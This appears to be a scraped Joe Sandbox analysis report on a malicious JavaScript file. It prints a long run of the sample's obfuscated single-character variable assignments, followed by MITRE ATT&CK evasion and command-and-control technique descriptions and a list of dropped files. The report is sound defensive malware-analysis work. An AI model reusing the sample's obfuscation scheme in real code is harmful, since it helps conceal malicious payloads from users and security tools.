789	pjgpjkdji = "A";
790	pjgpjkdji = "t";
791	pjgpjkdji = "F";
792	pjgpjkdji = "e";
793	pjgpjkdji = "N";
794	pjgpjkdji = "F";
795	pjgpjkdji = "t";
796	pjgpjkdji = "f";
797	pjgpjkdji = "i";
798	pjgpjkdji = "Y";
799	lwfcrrnn = "j";
800	lwfcrrnn = "c";
801	lwfcrrnn = "U";
802	lwfcrrnn = "x";
803	lwfcrrnn = "c";
804	lwfcrrnn = "W";
805	lwfcrrnn = "S";
806	lwfcrrnn = "e";
807	lwfcrrnn = "r";
808	lwfcrrnn = "s";
809	lwfcrrnn = "p";
810	lwfcrrnn = "Y";
811	lwfcrrnn = "l";
812	lwfcrrnn = "c";
813	lwfcrrnn = "I";
814	lwfcrrnn = "s";
815	lwfcrrnn = "s";
816	lwfcrrnn = "C";
817	lwfcrrnn = "x";
818	lwfcrrnn = "n";
819	lwfcrrnn = "J";
820	lwfcrrnn = "s";
821	lwfcrrnn = "S";
822	lwfcrrnn = "T";
823	lwfcrrnn = "U";
824	lwfcrrnn = "A";
825	lwfcrrnn = "B";
826	lwfcrrnn = "y";
827	lwfcrrnn = "X";
828	lwfcrrnn = "n";
829	lwfcrrnn = "E";
830	lwfcrrnn = "t";
831	lwfcrrnn = "Q";
832	lwfcrrnn = "m";
833	lwfcrrnn = "J";
834	lwfcrrnn = "X";
835	lwfcrrnn = "B";
836	lwfcrrnn = "e";
837	lwfcrrnn = "q";
838	lwfcrrnn = "A";
839	lwfcrrnn = "B";
840	lwfcrrnn = "b";
841	lwfcrrnn = "e";
842	lwfcrrnn = "h";
843	kryuonx = "L";
844	kryuonx = "B";
845	kryuonx = "B";
846	kryuonx = "X";
847	kryuonx = "T";
848	kryuonx = "q";
849	kryuonx = "D";
850	kryuonx = "b";
851	kryuonx = "I";
852	kryuonx = "w";
853	kryuonx = "F";
854	kryuonx = "W";
855	kryuonx = "u";
856	kryuonx = "M";
857	kryuonx = "Z";
858	kryuonx = "h";
859	kryuonx = "a";
860	kryuonx = "v";
861	kryuonx = "M";
862	kryuonx = "M";
863	kryuonx = "W";
864	kryuonx = "u";
865	kryuonx = "u";
866	kryuonx = "Z";
867	kryuonx = "O";
868	kryuonx = "m";
869	kryuonx = "X";
870	kryuonx = "z";
871	kryuonx = "w";
872	kryuonx = "j";
873	kryuonx = "a";
874	kryuonx = "o";
875	kryuonx = "Z";
876	kryuonx = "E";
877	kryuonx = "f";
878	kryuonx = "g";
879	kryuonx = "x";
880	kryuonx = "P";
881	kryuonx = "f";
882	yzmdne = "J";
883	yzmdne = "Q";
884	yzmdne = "D";
885	yzmdne = "W";
886	yzmdne = "b";
887	yzmdne = "t";
888	yzmdne = "G";
889	yzmdne = "n";
890	yzmdne = "w";
891	yzmdne = "l";
892	yzmdne = "j";
893	yzmdne = "e";
894	yzmdne = "Z";
895	yzmdne = "T";
896	yzmdne = "d";
897	yzmdne = "u";
898	yzmdne = "l";
899	yzmdne = "a";
900	yzmdne = "M";
901	yzmdne = "A";
902	yzmdne = "S";
903	yzmdne = "s";
904	yzmdne = "p";
905	yzmdne = "W";
906	yzmdne = "i";
907	yzmdne = "n";
908	yzmdne = "U";
909	yzmdne = "h";
910	yzmdne = "V";
911	yzmdne = "/";
912	eaoagct = "i";
913	eaoagct = "G";
914	eaoagct = "I";
915	eaoagct = "D";
916	eaoagct = "f";
917	eaoagct = "v";
918	eaoagct = "w";
919	eaoagct = "t";
920	eaoagct = "l";
921	eaoagct = "H";
922	eaoagct = "I";
923	eaoagct = "K";
924	eaoagct = "h";
925	eaoagct = "D";
926	eaoagct = "T";
927	eaoagct = "d";
928	eaoagct = "m";
929	eaoagct = "K";
930	eaoagct = "O";
931	eaoagct = "j";
932	eaoagct = "k";
933	eaoagct = "n";
934	eaoagct = "n";
935	eaoagct = "H";
936	eaoagct = "q";
937	eaoagct = "R";
938	eaoagct = "l";
939	eaoagct = "j";
940	eaoagct = "f";
941	eaoagct = "r";
942	eaoagct = "R";
943	eaoagct = "C";
944	eaoagct = "i";
945	eaoagct = "P";
946	eaoagct = "h";
947	eaoagct = "C";
948	eaoagct = "E";
949	eaoagct = "o";
950	iptphq = "a";
951	iptphq = "L";
952	iptphq = "E";
953	iptphq = "a";
954	iptphq = "W";
955	iptphq = "d";
956	pwugun = "g";
957	pwugun = "I";
958	pwugun = "c";
959	pwugun = "J";
960	pwugun = "p";
961	pwugun = "h";
962	pwugun = "B";
963	pwugun = "Q";
964	pwugun = "y";
965	pwugun = "A";
966	pwugun = "T";
967	pwugun = "r";
968	pwugun = "q";
969	pwugun = "Y";
970	pwugun = "X";
971	pwugun = "c";
972	pwugun = "m";
973	pwugun = "C";
974	pwugun = "l";
975	pwugun = "y";
976	pwugun = "c";
977	pwugun = "f";
978	pwugun = "K";
979	pwugun = "w";
980	pwugun = "i";
981	pwugun = "p";
982	pwugun = "r";
983	pwugun = "y";
984	pwugun = "r";
985	pwugun = "V";
986	pwugun = "t";
987	pwugun = "Y";
988	pwugun = "Y";
989	pwugun = "u";
990	pwugun = "N";
991	pwugun = "D";
992	pwugun = "z";
993	pwugun = "t";
994	pwugun = "I";
995	dddfxelg = "A";
996	dddfxelg = "R";
997	dddfxelg = "S";
998	dddfxelg = "R";
999	dddfxelg = "h";
1000	dddfxelg = "w";
1001	dddfxelg = "n";
1002	dddfxelg = "Z";
1003	dddfxelg = "E";
1004	dddfxelg = "l";
1005	dddfxelg = "b";
1006	dddfxelg = "W";
1007	dddfxelg = "i";
1008	dddfxelg = "y";
1009	dddfxelg = "f";
1010	dddfxelg = "M";
1011	dddfxelg = "b";
1012	dddfxelg = "w";
1013	dddfxelg = "j";
1014	dddfxelg = "x";
1015	dddfxelg = "R";
1016	dddfxelg = "k";
1017	dddfxelg = "e";
1018	yxdfxl = "v";
1019	yxdfxl = "h";
1020	yxdfxl = "k";
1021	yxdfxl = "u";
1022	yxdfxl = "U";
1023	yxdfxl = "N";
1024	yxdfxl = "J";
1025	yxdfxl = "z";
1026	yxdfxl = "j";
1027	yxdfxl = "z";
1028	yxdfxl = "n";
1029	yxdfxl = "k";
1030	yxdfxl = "r";
1031	yxdfxl = "Y";
1032	yxdfxl = "D";
1033	yxdfxl = "g";
1034	cskfuxidt = "v";
1035	cskfuxidt = "T";
1036	cskfuxidt = "O";
1037	cskfuxidt = "Q";
1038	cskfuxidt = "w";
1039	cskfuxidt = "c";
1040	cnimvv = "X";
1041	cnimvv = "x";
1042	cnimvv = "b";
1043	cnimvv = "f";
1044	cnimvv = "E";
1045	cnimvv = "Z";
1046	cnimvv = "f";
1047	cnimvv = "a";
1048	cnimvv = "d";
1049	cnimvv = "s";
1050	cnimvv = "t";
1051	cnimvv = "I";
1052	cnimvv = "c";
1053	cnimvv = "N";
1054	cnimvv = "G";
1055	cnimvv = "X";
1056	cnimvv = "R";
1057	zdprzvwrk = "P";
1058	zdprzvwrk = "M";
1059	zdprzvwrk = "p";
1060	zdprzvwrk = "A";
1061	zdprzvwrk = "v";
1062	zdprzvwrk = "X";
1063	zdprzvwrk = "R";
1064	zdprzvwrk = "E";
1065	zdprzvwrk = "p";
1066	zdprzvwrk = "d";
1067	zdprzvwrk = "X";
1068	zdprzvwrk = "G";
1069	zdprzvwrk = "H";
1070	zdprzvwrk = "I";
1071	zdprzvwrk = "c";
1072	zdprzvwrk = "X";
1073	zdprzvwrk = "U";
1074	pbjajfh = "p";
1075	pbjajfh = "j";
1076	pbjajfh = "P";
1077	pbjajfh = "j";
1078	pbjajfh = "G";
1079	pbjajfh = "t";
1080	pbjajfh = "z";
1081	pbjajfh = "G";
1082	pbjajfh = "O";
1083	pbjajfh = "M";
1084	pbjajfh = "U";
1085	pbjajfh = "R";
1086	pbjajfh = "d";
1087	pbjajfh = "t";
1088	pbjajfh = "F";
1089	pbjajfh = "n";
1090	pbjajfh = "z";
1091	pbjajfh = "l";
1092	pbjajfh = "k";
1093	pbjajfh = "X";
1094	pbjajfh = "l";
1095	qqqcrzmm = "R";
1096	qqqcrzmm = "i";
1097	qqqcrzmm = "i";
1098	qqqcrzmm = "B";
1099	qqqcrzmm = "o";
1100	qqqcrzmm = "j";
1101	qqqcrzmm = "X";
1102	qqqcrzmm = "O";
1103	qqqcrzmm = "Q";
1104	qqqcrzmm = "V";
1105	qqqcrzmm = "o";
1106	qqqcrzmm = "S";
1107	qqqcrzmm = "i";
1108	qqqcrzmm = "P";
1109	qqqcrzmm = "O";
1110	qqqcrzmm = "Z";
1111	qqqcrzmm = "F";
1112	qqqcrzmm = "G";
1113	qqqcrzmm = "j";
1114	qqqcrzmm = "V";
1115	qqqcrzmm = "k";
1116	qqqcrzmm = "x";
1117	qqqcrzmm = "a";
1118	qqqcrzmm = "V";
1119	qqqcrzmm = "q";
1120	qqqcrzmm = "U";
1121	qqqcrzmm = "o";
1122	qqqcrzmm = "T";
1123	qqqcrzmm = "J";
1124	qqqcrzmm = "j";
1125	qqqcrzmm = "q";
1126	qqqcrzmm = "n";
1127	qqqcrzmm = "9";
1128	iyqhudum = "f";
1129	iyqhudum = "Y";
1130	iyqhudum = "E";
1131	iyqhudum = "s";
1132	iyqhudum = "l";
1133	iyqhudum = "m";
1134	iyqhudum = "B";
1135	iyqhudum = "P";
1136	iyqhudum = "r";
1137	iyqhudum = "u";
1138	iyqhudum = "z";
1139	iyqhudum = "w";
1140	iyqhudum = "D";
1141	iyqhudum = "o";
1142	iyqhudum = "g";
1143	iyqhudum = "Z";
1144	iyqhudum = "o";
1145	iyqhudum = "k";
1146	iyqhudum = "l";
1147	iyqhudum = "j";
1148	iyqhudum = "R";
1149	iyqhudum = "t";
1150	iyqhudum = "q";
1151	iyqhudum = "r";
1152	iyqhudum = "H";
1153	iyqhudum = "p";
1154	iyqhudum = "n";
1155	iyqhudum = "d";
1156	iyqhudum = "y";
1157	iyqhudum = "Q";
1158	iyqhudum = "s";
1159	iyqhudum = "m";
1160	iyqhudum = "h";
1161	iyqhudum = "\"";
1162	jxfxhzf = "m";
1163	jxfxhzf = "p";
1164	jxfxhzf = "i";
1165	jxfxhzf = "K";
1166	jxfxhzf = "m";
1167	jxfxhzf = "s";
1168	jxfxhzf = "w";
1169	jxfxhzf = "y";
1170	jxfxhzf = "b";
1171	jxfxhzf = "X";
1172	jxfxhzf = "A";
1173	jxfxhzf = "T";
1174	jxfxhzf = "n";
1175	jxfxhzf = "W";
1176	jxfxhzf = "n";
1177	jxfxhzf = "w";
1178	jxfxhzf = "a";
1179	jxfxhzf = "u";
1180	jxfxhzf = "g";
1181	jxfxhzf = "U";
1182	jxfxhzf = "F";
1183	jxfxhzf = "S";
1184	jxfxhzf = "m";
1185	jxfxhzf = "c";
1186	jxfxhzf = "p";
1187	jxfxhzf = "a";
1188	jxfxhzf = "x";
1189	jxfxhzf = "d";
1190	jxfxhzf = "8";
1191	pacnsilta = "F";
1192	pacnsilta = "r";
1193	pacnsilta = "D";
1194	pacnsilta = "o";
1195	pacnsilta = "z";
1196	pacnsilta = "4";
1197	zdykslv = "r";
1198	zdykslv = "M";
1199	zdykslv = "u";
1200	zdykslv = "v";
1201	zdykslv = "Y";
1202	zdykslv = "M";
1203	zdykslv = "s";
1204	zdykslv = "I";
1205	zdykslv = "H";
1206	zdykslv = "w";
1207	zdykslv = "g";
1208	zdykslv = "o";
1209	zdykslv = "Z";
1210	zdykslv = "B";
1211	zdykslv = "D";
1212	zdykslv = "Z";
1213	zdykslv = "l";
1214	zdykslv = "k";
1215	zdykslv = "U";
1216	zdykslv = "k";
1217	zdykslv = "R";
1218	zdykslv = "T";
1219	zdykslv = "L";
1220	zdykslv = "Y";
1221	zdykslv = "p";
1222	zdykslv = "t";
1223	zdykslv = "O";
1224	zdykslv = "z";
1225	zdykslv = "U";
1226	zdykslv = "G";
1227	zdykslv = "V";
1228	zdykslv = "d";
1229	zdykslv = "E";
1230	zdykslv = "y";
1231	zdykslv = "u";
1232	zdykslv = "t";
1233	zdykslv = "N";
1234	zdykslv = "G";
1235	zdykslv = "m";
1236	nkwzy = "W";
1237	nkwzy = "x";
1238	nkwzy = "E";
1239	nkwzy = "F";
1240	nkwzy = "T";
1241	nkwzy = "C";
1242	nkwzy = "S";
1243	nkwzy = "N";
1244	nkwzy = "y";
1245	nkwzy = "k";
1246	nkwzy = "J";
1247	nkwzy = "J";
1248	nkwzy = "S";
1249	nkwzy = "r";
1250	nkwzy = "l";
1251	nkwzy = "g";
1252	nkwzy = "Y";
1253	nkwzy = "T";
1254	nkwzy = "M";
1255	nkwzy = "x";
1256	nkwzy = "Q";
1257	nkwzy = "L";
1258	nkwzy = "s";
1259	nkwzy = "a";
1260	nkwzy = "l";
1261	nkwzy = "b";
1262	nkwzy = "G";
1263	nkwzy = "l";
1264	nkwzy = "c";
1265	nkwzy = "D";
1266	nkwzy = "x";
1267	ublwsciq = "E";
1268	ublwsciq = "f";
1269	ublwsciq = "J";
1270	ublwsciq = "E";
1271	ublwsciq = "I";
1272	ublwsciq = "q";
1273	ublwsciq = "S";
1274	ublwsciq = "d";
1275	ublwsciq = "M";
1276	ublwsciq = "u";
1277	ublwsciq = "X";
1278	ublwsciq = "N";
1279	ublwsciq = "c";
1280	ublwsciq = "m";
1281	ublwsciq = "K";
1282	ublwsciq = "A";
1283	ublwsciq = "C";
1284	ublwsciq = "Y";
1285	ublwsciq = "C";
1286	ublwsciq = "m";
1287	ublwsciq = "E";
1288	ublwsciq = "C";
1289	ublwsciq = "O";
1290	ublwsciq = "E";
1291	ublwsciq = "L";
1292	ublwsciq = "D";
1293	ublwsciq = "B";
1294	ublwsciq = "p";
1295	ublwsciq = "O";
1296	ublwsciq = "m";
1297	ublwsciq = "I";
1298	ublwsciq = "v";
1299	ublwsciq = "m";
1300	ublwsciq = "g";
1301	ublwsciq = "P";
1302	ublwsciq = "o";
1303	ublwsciq = "k";
1304	weuty = "L";
1305	weuty = "c";
1306	weuty = "o";
1307	weuty = "c";
1308	weuty = "D";
1309	weuty = "R";
1310	weuty = "k";
1311	weuty = "f";
1312	weuty = "i";
1313	weuty = "Q";
1314	weuty = "I";
1315	weuty = "P";
1316	weuty = "E";
1317	weuty = "x";
1318	weuty = "e";
1319	weuty = "M";
1320	weuty = "m";
1321	weuty = "o";
1322	weuty = "U";
1323	weuty = "g";
1324	weuty = "Z";
1325	weuty = "o";
1326	weuty = "V";
1327	weuty = "m";
1328	weuty = "V";
1329	weuty = "p";
1330	weuty = "d";
1331	weuty = "P";
1332	weuty = "t";
1333	weuty = "X";
1334	weuty = "h";
1335	weuty = "p";
1336	rmxspys = "d";
1337	rmxspys = "s";
1338	rmxspys = "r";
1339	rmxspys = "I";
1340	rmxspys = "R";
1341	rmxspys = "z";
1342	rmxspys = "p";
1343	rmxspys = "w";
1344	rmxspys = "e";
1345	rmxspys = "P";
1346	rmxspys = "T";
1347	rmxspys = "q";
1348	rmxspys = "R";
1349	rmxspys = "c";
1350	rmxspys = "K";
1351	icgxdni = "H";
1352	icgxdni = "o";
1353	icgxdni = "n";
1354	icgxdni = "e";
1355	icgxdni = "T";
1356	icgxdni = "X";
1357	icgxdni = "T";
1358	icgxdni = "j";
1359	ptgip = "a";
1360	ptgip = "u";
1361	ptgip = "G";
1362	ptgip = "R";
1363	ptgip = "h";
1364	ptgip = "G";
1365	ptgip = "n";
1366	ptgip = "d";
1367	ptgip = "e";
1368	ptgip = "H";
1369	ptgip = "K";
1370	ptgip = "t";
1371	ptgip = "n";
1372	ptgip = "B";
1373	ptgip = "y";
1374	ptgip = "P";
1375	ptgip = "v";
1376	ptgip = "E";
1377	unjrsgz = "p";
1378	unjrsgz = "n";
1379	unjrsgz = "T";
1380	yzxikq ( );	yzxikq() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	File: File Metadata, File: File Modification, Module: Module Load, Process: OS API Execution, Process: Process Access, Process: Process Metadata, Process: Process Modification
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Metadata, File: File Modification, Image: Image Metadata, Process: OS API Execution, Process: Process Creation, Process: Process Metadata, Scheduled Job: Scheduled Job Metadata, Scheduled Job: Scheduled Job Modification, Service: Service Creation, Service: Service Metadata
Platforms:	Containers, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Command: Command Execution, File: File Creation, File: File Metadata, Module: Module Load, Process: OS API Execution, Process: Process Creation, Script: Script Execution, WMI: WMI Creation, Windows Registry: Windows Registry Key Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may look for folders and drives shared on remote systems as a means of identifying sources of information to gather as a precursor for Collection and to identify potential systems of interest for Lateral Movement. Networks often contain shared network drives and folders that enable users to access file directories on various systems across a network.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 32750305971799721630.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\f2e98079-4856-425d-8402-2818a5a6ee0e.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.5164

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.5164

Windows Analysis Report
32750305971799721630.js